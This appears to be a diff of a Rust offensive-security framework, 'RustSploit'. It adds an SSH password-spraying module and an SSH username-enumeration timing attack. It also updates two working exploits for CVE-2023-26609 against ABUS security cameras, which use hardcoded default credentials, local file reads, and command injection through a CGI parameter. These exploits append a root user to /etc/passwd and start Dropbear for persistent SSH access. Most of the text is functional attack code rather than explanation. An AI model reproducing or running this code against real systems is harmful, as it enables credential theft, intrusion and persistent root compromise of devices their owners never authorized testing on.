password: password.clone(),
|
||||
};
|
||||
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
|
||||
let _ = std::io::stdout().flush();
|
||||
results.lock().await.push(cred);
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
stats.record_attempt(false, false);
|
||||
}
|
||||
_ => {
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for all tasks
|
||||
for handle in handles {
|
||||
let _ = handle.await;
|
||||
}
|
||||
|
||||
// Stop progress reporter
|
||||
stop.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
// Print summary
|
||||
stats.print_summary();
|
||||
|
||||
let results = results.lock().await;
|
||||
results.clone()
|
||||
}
|
||||
|
||||
/// Save results to file
|
||||
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
|
||||
let mut file = File::create(path)?;
|
||||
|
||||
writeln!(file, "# SSH Password Spray Results")?;
|
||||
writeln!(file, "# Generated by RustSploit")?;
|
||||
writeln!(file, "# Total: {} credentials found", results.len())?;
|
||||
writeln!(file)?;
|
||||
|
||||
for result in results {
|
||||
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Results saved to: {}", path).green());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to spray
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "administrator", "ubuntu",
|
||||
"guest", "test", "oracle", "postgres", "mysql",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Get password to spray
|
||||
let password = prompt("Password to spray")?;
|
||||
if password.is_empty() {
|
||||
return Err(anyhow!("Password is required"));
|
||||
}
|
||||
|
||||
// Get port
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
|
||||
// Get targets
|
||||
let mut targets = Vec::new();
|
||||
|
||||
// Add initial target
|
||||
let host = normalize_target(target);
|
||||
if !host.is_empty() {
|
||||
println!("{}", format!("[*] Initial target: {}", host).cyan());
|
||||
targets.extend(parse_targets(&host, port));
|
||||
}
|
||||
|
||||
// Get additional targets
|
||||
let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?;
|
||||
if !more_targets.is_empty() {
|
||||
targets.extend(parse_targets(&more_targets, port));
|
||||
}
|
||||
|
||||
// Load from file?
|
||||
if prompt_yes_no("Load targets from file?", false)? {
|
||||
let file_path = prompt("File path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(file_targets) => {
|
||||
println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan());
|
||||
for t in file_targets {
|
||||
targets.extend(parse_targets(&t, port));
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Deduplicate targets
|
||||
let unique: HashSet<_> = targets.into_iter().collect();
|
||||
let targets: Vec<_> = unique.into_iter().collect();
|
||||
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No targets specified"));
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan());
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_list_from_file(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
// Get scan options
|
||||
let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_THREADS);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())?
|
||||
.parse()
|
||||
.unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
|
||||
println!();
|
||||
|
||||
// Run spray
|
||||
let results = password_spray(targets, &usernames, &password, threads, timeout).await;
|
||||
|
||||
// Save results?
|
||||
if !results.is_empty() && prompt_yes_no("Save results to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "ssh_spray_results.txt")?;
|
||||
if let Err(e) = save_results(&results, &output_path) {
|
||||
println!("{}", format!("[-] Failed to save: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Password spray complete. Found {} valid credentials.", results.len()).green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -0,0 +1,295 @@
|
||||
//! SSH User Enumeration Module (Timing Attack)
|
||||
//!
|
||||
//! Based on SSHPWN framework - enumerates valid users via timing attack.
|
||||
//! Inspired by CVE-2018-15473 style attacks.
|
||||
//!
|
||||
//! For authorized penetration testing only.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::TcpStream,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const DEFAULT_SAMPLES: usize = 3;
|
||||
const TIMING_THRESHOLD: f64 = 0.3; // 300ms difference threshold
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ SSH User Enumeration (Timing Attack) ║".cyan());
|
||||
println!("{}", "║ Based on auth2.c timing differences ║".cyan());
|
||||
println!("{}", "║ ║".cyan());
|
||||
println!("{}", "║ How it works: ║".cyan());
|
||||
println!("{}", "║ - Measures authentication response time for each username ║".cyan());
|
||||
println!("{}", "║ - Valid users often have different timing than invalid ║".cyan());
|
||||
println!("{}", "║ - Compares against baseline (known invalid user) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Normalize target for connection
|
||||
fn normalize_target(target: &str) -> String {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.starts_with('[') && trimmed.contains(']') {
|
||||
trimmed.to_string()
|
||||
} else if trimmed.contains(':') && !trimmed.contains('.') {
|
||||
format!("[{}]", trimmed)
|
||||
} else {
|
||||
trimmed.to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// Time a single authentication attempt
|
||||
fn time_auth_attempt(host: &str, port: u16, username: &str, timeout_secs: u64) -> Option<f64> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
|
||||
let start = Instant::now();
|
||||
|
||||
let tcp = match TcpStream::connect_timeout(
|
||||
&addr.parse().ok()?,
|
||||
Duration::from_secs(timeout_secs),
|
||||
) {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
let _ = tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
let _ = tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)));
|
||||
|
||||
let mut sess = match Session::new() {
|
||||
Ok(s) => s,
|
||||
Err(_) => return None,
|
||||
};
|
||||
|
||||
sess.set_tcp_stream(tcp);
|
||||
if sess.handshake().is_err() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Try authentication with invalid password
|
||||
let invalid_password = format!("invalid_{}_{}", std::process::id(), start.elapsed().as_nanos());
|
||||
let _ = sess.userauth_password(username, &invalid_password);
|
||||
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
Some(elapsed)
|
||||
}
|
||||
|
||||
/// Sample authentication timing for a username
|
||||
fn sample_auth_timing(host: &str, port: u16, username: &str, samples: usize, timeout_secs: u64) -> Option<f64> {
|
||||
let mut times = Vec::new();
|
||||
|
||||
for _ in 0..samples {
|
||||
if let Some(t) = time_auth_attempt(host, port, username, timeout_secs) {
|
||||
times.push(t);
|
||||
}
|
||||
// Small delay between samples
|
||||
std::thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
|
||||
if times.is_empty() {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Return average
|
||||
Some(times.iter().sum::<f64>() / times.len() as f64)
|
||||
}
|
||||
|
||||
/// Load usernames from file
|
||||
fn load_usernames(path: &str) -> Result<Vec<String>> {
|
||||
let file = File::open(path)?;
|
||||
let reader = BufReader::new(file);
|
||||
let usernames: Vec<String> = reader
|
||||
.lines()
|
||||
.filter_map(|l| l.ok())
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect();
|
||||
Ok(usernames)
|
||||
}
|
||||
|
||||
/// Enumerate valid users via timing attack
|
||||
pub async fn enumerate_users(
|
||||
host: &str,
|
||||
port: u16,
|
||||
usernames: &[String],
|
||||
samples: usize,
|
||||
timeout_secs: u64,
|
||||
threshold: f64,
|
||||
) -> Vec<String> {
|
||||
println!("{}", format!("[*] Enumerating users on {}:{} (timing attack)", host, port).cyan());
|
||||
println!("{}", format!("[*] Testing {} usernames with {} samples each", usernames.len(), samples).cyan());
|
||||
println!("{}", format!("[*] Timing threshold: {:.3}s", threshold).cyan());
|
||||
println!();
|
||||
|
||||
// Establish baseline with known-invalid user
|
||||
let baseline_user = format!("nonexistent_{}_{}", std::process::id(), Instant::now().elapsed().as_nanos());
|
||||
println!("{}", "[*] Establishing baseline timing...".cyan());
|
||||
|
||||
let baseline = match sample_auth_timing(host, port, &baseline_user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
println!("{}", format!("[*] Baseline timing: {:.3}s", t).cyan());
|
||||
t
|
||||
}
|
||||
None => {
|
||||
println!("{}", "[-] Failed to establish baseline - cannot reach target".red());
|
||||
return Vec::new();
|
||||
}
|
||||
};
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Testing usernames...".cyan());
|
||||
|
||||
let mut valid_users = Vec::new();
|
||||
|
||||
for (i, user) in usernames.iter().enumerate() {
|
||||
print!("\r[{}/{}] Testing: {} ", i + 1, usernames.len(), user);
|
||||
let _ = std::io::stdout().flush();
|
||||
|
||||
match sample_auth_timing(host, port, user, samples, timeout_secs) {
|
||||
Some(t) => {
|
||||
let diff = t - baseline;
|
||||
if diff.abs() > threshold {
|
||||
println!("\r{}", format!("[+] Valid user: {} (timing diff: {:+.3}s)", user, diff).green());
|
||||
valid_users.push(user.clone());
|
||||
}
|
||||
}
|
||||
None => {
|
||||
// Connection failed, skip
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "=== Results ===".cyan().bold());
|
||||
if valid_users.is_empty() {
|
||||
println!("{}", "[-] No valid users found via timing attack".yellow());
|
||||
println!("{}", "[*] Note: This technique may not work on all SSH configurations".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid user(s):", valid_users.len()).green());
|
||||
for user in &valid_users {
|
||||
println!(" - {}", user.green());
|
||||
}
|
||||
}
|
||||
|
||||
valid_users
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
|
||||
let hint = if default { "Y/n" } else { "y/N" };
|
||||
print!("{} [{}]: ", message, hint);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim().to_lowercase();
|
||||
match trimmed.as_str() {
|
||||
"" => Ok(default),
|
||||
"y" | "yes" => Ok(true),
|
||||
"n" | "no" => Ok(false),
|
||||
_ => Ok(default),
|
||||
}
|
||||
}
|
||||
|
||||
/// Default usernames to test
|
||||
const DEFAULT_USERNAMES: &[&str] = &[
|
||||
"root", "admin", "user", "test", "guest",
|
||||
"ubuntu", "www-data", "daemon", "bin", "sys",
|
||||
"nobody", "mysql", "postgres", "oracle", "ftp",
|
||||
"ssh", "apache", "nginx", "tomcat", "redis",
|
||||
];
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT);
|
||||
let samples: usize = prompt_default("Samples per username", "3")?.parse().unwrap_or(DEFAULT_SAMPLES);
|
||||
let timeout: u64 = prompt_default("Connection timeout (seconds)", "10")?.parse().unwrap_or(DEFAULT_TIMEOUT_SECS);
|
||||
let threshold: f64 = prompt_default("Timing threshold (seconds)", "0.3")?.parse().unwrap_or(TIMING_THRESHOLD);
|
||||
|
||||
// Get usernames
|
||||
let mut usernames: Vec<String> = Vec::new();
|
||||
|
||||
if prompt_yes_no("Load usernames from file?", false)? {
|
||||
let file_path = prompt("Username file path")?;
|
||||
if !file_path.is_empty() {
|
||||
match load_usernames(&file_path) {
|
||||
Ok(loaded) => {
|
||||
println!("{}", format!("[*] Loaded {} usernames from file", loaded.len()).cyan());
|
||||
usernames.extend(loaded);
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Failed to load file: {}", e).red());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add default usernames?
|
||||
if usernames.is_empty() || prompt_yes_no("Also test default usernames?", true)? {
|
||||
for user in DEFAULT_USERNAMES {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames to test"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", format!("[*] Will test {} usernames", usernames.len()).cyan());
|
||||
println!();
|
||||
|
||||
// Run enumeration
|
||||
let valid_users = enumerate_users(&host, port, &usernames, samples, timeout, threshold).await;
|
||||
|
||||
// Save results?
|
||||
if !valid_users.is_empty() && prompt_yes_no("Save valid users to file?", true)? {
|
||||
let output_path = prompt_default("Output file", "valid_ssh_users.txt")?;
|
||||
let mut file = File::create(&output_path)?;
|
||||
writeln!(file, "# Valid SSH users for {}:{}", host, port)?;
|
||||
for user in &valid_users {
|
||||
writeln!(file, "{}", user)?;
|
||||
}
|
||||
println!("{}", format!("[+] Saved to: {}", output_path).green());
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SSH user enumeration complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -3,16 +3,14 @@
|
||||
// Author: d1g@segfault.net | Ported to Rust for RustSploit
|
||||
// PoC converted 1:1 from Bash to async Rust logic
|
||||
|
||||
// Cargo.toml:
|
||||
// [dependencies]
|
||||
// anyhow = "1.0"
|
||||
// reqwest = { version = "0.11", features = ["blocking", "rustls-tls"] }
|
||||
// md5 = "0.7.0"
|
||||
|
||||
use anyhow::{Result, anyhow};
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Wraps/bracket-sanitizes IPv6 addresses (and leaves IPv4/hostnames alone)
|
||||
fn format_host(raw: &str) -> String {
|
||||
@@ -32,11 +30,20 @@ async fn exploit_lfi(client: &Client, target: &str, filepath: &str) -> Result<()
|
||||
"http://admin:admin@{}/cgi-bin/admin/fileread?READ.filePath={}",
|
||||
host, filepath
|
||||
);
|
||||
println!("[*] Sending LFI request to: {}", url);
|
||||
println!("{}", format!("[*] Sending LFI request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -47,18 +54,27 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=testname;{}",
|
||||
host, cmd
|
||||
);
|
||||
println!("[*] Sending RCE request to: {}", url);
|
||||
println!("{}", format!("[*] Sending RCE request to: {}", url).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Body:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Body:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Body:\n{}", body).red());
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Stage 1: Generate SSH key
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating SSH key on target...");
|
||||
println!("{}", "[*] Stage 1: Generating SSH key on target...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -66,21 +82,21 @@ async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
|
||||
// Compute lowercase-hex MD5 of the provided password
|
||||
let hash = format!("{:x}", md5::compute(password));
|
||||
println!("[*] MD5 hash of password: {}", hash);
|
||||
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
|
||||
|
||||
// Build the echo command to append to /etc/passwd
|
||||
let cmd = format!(
|
||||
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
hash
|
||||
);
|
||||
println!("[*] Injecting root user into /etc/passwd...");
|
||||
println!("{}", "[*] Stage 2: Injecting root user into /etc/passwd...".yellow());
|
||||
exploit_rce(client, target, &cmd).await
|
||||
}
|
||||
|
||||
/// Stage 3: Start Dropbear SSH server
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH server...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH server...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -89,40 +105,55 @@ async fn persist_root_shell(client: &Client, target: &str, password: &str) -> Re
|
||||
generate_ssh_key(client, target).await?;
|
||||
inject_root_user(client, target, password).await?;
|
||||
start_dropbear(client, target).await?;
|
||||
println!("[+] Persistence complete! You can now SSH in with:");
|
||||
println!("{}", "[+] Persistence complete! You can now SSH in with:".green().bold());
|
||||
println!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\
|
||||
-oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
"{}",
|
||||
format!(
|
||||
" sshpass -p '{}' ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 \\\n -oHostKeyAlgorithms=+ssh-rsa d1g@{}",
|
||||
password, target
|
||||
).cyan()
|
||||
);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - LFI, RCE and SSH Root Access ║".cyan());
|
||||
println!("{}", "║ Variant 1 - Multi-mode (LFI/RCE/Persistence) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Prompt user for mode, and dispatch accordingly
|
||||
async fn execute(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Exploit mode selection for target: {}", target);
|
||||
println!(" [1] LFI");
|
||||
println!(" [2] RCE");
|
||||
println!(" [3] SSH Persistence");
|
||||
print!("> ");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
println!("{}", "[*] Exploit mode selection:".cyan().bold());
|
||||
println!(" {} LFI (Local File Inclusion)", "[1]".green());
|
||||
println!(" {} RCE (Remote Code Execution)", "[2]".green());
|
||||
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
|
||||
print!("{}", "> ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
|
||||
let mut choice = String::new();
|
||||
io::stdin().read_line(&mut choice)?;
|
||||
match choice.trim() {
|
||||
"1" => {
|
||||
print!("Enter file path to read (e.g. /etc/passwd): ");
|
||||
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut fp = String::new();
|
||||
io::stdin().read_line(&mut fp)?;
|
||||
exploit_lfi(&client, target, fp.trim()).await?;
|
||||
}
|
||||
"2" => {
|
||||
print!("Enter command to execute (e.g. id): ");
|
||||
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut cmd = String::new();
|
||||
io::stdin().read_line(&mut cmd)?;
|
||||
@@ -130,7 +161,7 @@ async fn execute(target: &str) -> Result<()> {
|
||||
}
|
||||
"3" => {
|
||||
// Ask for the desired password, hash it, and persist
|
||||
print!("Enter desired password for new root user: ");
|
||||
print!("{}", "Enter desired password for new root user: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut pwd = String::new();
|
||||
io::stdin().read_line(&mut pwd)?;
|
||||
@@ -140,7 +171,10 @@ async fn execute(target: &str) -> Result<()> {
|
||||
}
|
||||
persist_root_shell(&client, target, pwd).await?;
|
||||
}
|
||||
_ => return Err(anyhow!("Invalid choice")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
return Err(anyhow!("Invalid choice"));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -149,5 +183,4 @@ async fn execute(target: &str) -> Result<()> {
|
||||
/// Entry point for the RustSploit dispatch system
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
execute(target).await
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,7 +1,15 @@
|
||||
// Exploit Title: ABUS Security Camera TVIP 20000-21150 - SSH Root Persistence
|
||||
// CVE: CVE-2023-26609
|
||||
// Variant 2 - Dropbear SSH Persistence with custom username
|
||||
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use md5;
|
||||
use reqwest::Client;
|
||||
use std::io::{self, Write};
|
||||
use md5;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Normalize IPv6 targets, collapsing any number of outer brackets
|
||||
/// and preserving an explicit port if one was given as `[...] : port`.
|
||||
@@ -39,11 +47,20 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
"http://manufacture:erutcafunam@{}/cgi-bin/mft/wireless_mft?ap=inject;{}",
|
||||
normalized, cmd
|
||||
);
|
||||
println!("[*] Sending RCE payload: {}", cmd);
|
||||
println!("{}", format!("[*] Sending RCE payload: {}", cmd).cyan());
|
||||
|
||||
let resp = client.get(&url).send().await?;
|
||||
println!("[+] Status: {}", resp.status());
|
||||
println!("[+] Response:\n{}", resp.text().await?);
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
|
||||
if status.is_success() {
|
||||
println!("{}", format!("[+] Status: {}", status).green());
|
||||
println!("{}", "[+] Response:".green());
|
||||
println!("{}", body);
|
||||
} else {
|
||||
println!("{}", format!("[-] Status: {}", status).red());
|
||||
println!("{}", format!("[-] Response:\n{}", body).red());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -51,7 +68,7 @@ async fn exploit_rce(client: &Client, target: &str, cmd: &str) -> Result<()> {
|
||||
/// Generate Dropbear SSH keys on the target system
|
||||
async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbearkey%20-t%20rsa%20-f%20/etc/dropbear/dropbear_rsa_host_key";
|
||||
println!("[*] Generating Dropbear SSH key...");
|
||||
println!("{}", "[*] Stage 1: Generating Dropbear SSH key...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -61,14 +78,14 @@ async fn inject_root_user(client: &Client, target: &str, user: &str, hash: &str)
|
||||
"echo%20{}:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
|
||||
user, hash
|
||||
);
|
||||
println!("[*] Injecting user '{}' with root privileges...", user);
|
||||
println!("{}", format!("[*] Stage 2: Injecting user '{}' with root privileges...", user).yellow());
|
||||
exploit_rce(client, target, &payload).await
|
||||
}
|
||||
|
||||
/// Start Dropbear SSH daemon
|
||||
async fn start_dropbear(client: &Client, target: &str) -> Result<()> {
|
||||
let cmd = "/etc/dropbear/dropbear%20-E%20-F";
|
||||
println!("[*] Starting Dropbear SSH daemon...");
|
||||
println!("{}", "[*] Stage 3: Starting Dropbear SSH daemon...".yellow());
|
||||
exploit_rce(client, target, cmd).await
|
||||
}
|
||||
|
||||
@@ -78,40 +95,66 @@ fn generate_md5_hash(password: &str) -> String {
|
||||
format!("{:x}", digest)
|
||||
}
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ ABUS Security Camera TVIP 20000-21150 Exploit ║".cyan());
|
||||
println!("{}", "║ CVE-2023-26609 - Dropbear SSH Persistence ║".cyan());
|
||||
println!("{}", "║ Variant 2 - Custom Username SSH Root Access ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Main interactive flow: get user/pass, hash it, and inject persistence
|
||||
async fn execute_flow(target: &str) -> Result<()> {
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
println!("[*] Dropbear SSH persistence for target: {}", target);
|
||||
display_banner();
|
||||
